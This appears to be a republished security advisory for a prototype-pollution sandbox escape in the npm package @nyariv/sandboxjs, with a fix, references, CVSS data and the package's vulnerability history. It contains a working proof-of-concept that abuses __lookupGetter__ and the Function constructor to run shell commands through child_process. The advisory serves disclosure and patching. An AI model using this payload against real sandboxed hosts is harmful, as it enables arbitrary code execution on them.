SandboxJS Vulnerable to Prototype Pollution -> Sandbox Escape -> RCE
Summary
SandboxJS does not properly restrict __lookupGetter__ which can be used to obtain prototypes, which can be used for escaping the sandbox / remote code execution.
Details
The Object prototype which contains __lookupGetter__ is properly protected, but the special case for accessing function properties bypasses the prototype chain checks including the root Object prototype.
PoC
const s = require("@nyariv/sandboxjs").default;
const sb = new s();
payload = `
let getProto = Object.toString.__lookupGetter__("__proto__")
let m = getProto.call(new Map());
m.has = isFinite;
console.log(
isFinite.constructor(
"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
)(),
);`
sb.compile(payload)().run();Impact
Prototype Pollution -> RCE
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | @nyariv/sandboxjs | < 0.8.27 | 0.8.27 |
References
- https://github.com/nyariv/SandboxJS/security/advisories/GHSA-9p4w-fq8m-2hp7
- https://nvd.nist.gov/vuln/detail/CVE-2026-25142
- https://github.com/nyariv/SandboxJS/commit/75c8009db32e6829b0ad92ca13bf458178442bd3
- https://github.com/nyariv/SandboxJS
- https://github.com/nyariv/SandboxJS/blob/f212a38fb5a6d4bc2bc2e2466c0c011ce8d41072/src/executor.ts#L368-L398
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H- Weakness (CWE)
CWE-1321, CWE-94- Platform
- npm
- Package
@nyariv/sandboxjs- Disclosed
- 02.02.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-9p4w-fq8m-2hp7 - CC BY 4.0
Vulnerability history: @nyariv/sandboxjs
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 14
- First → latest
- 07.2025 05.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 10
- High 1
- Medium 3
Disclosures per year
- 2025: 1
- 2026: 13
-
SandboxJS Vulnerable to Prototype Pollution -> Sandbox Escape -> RCE this entry
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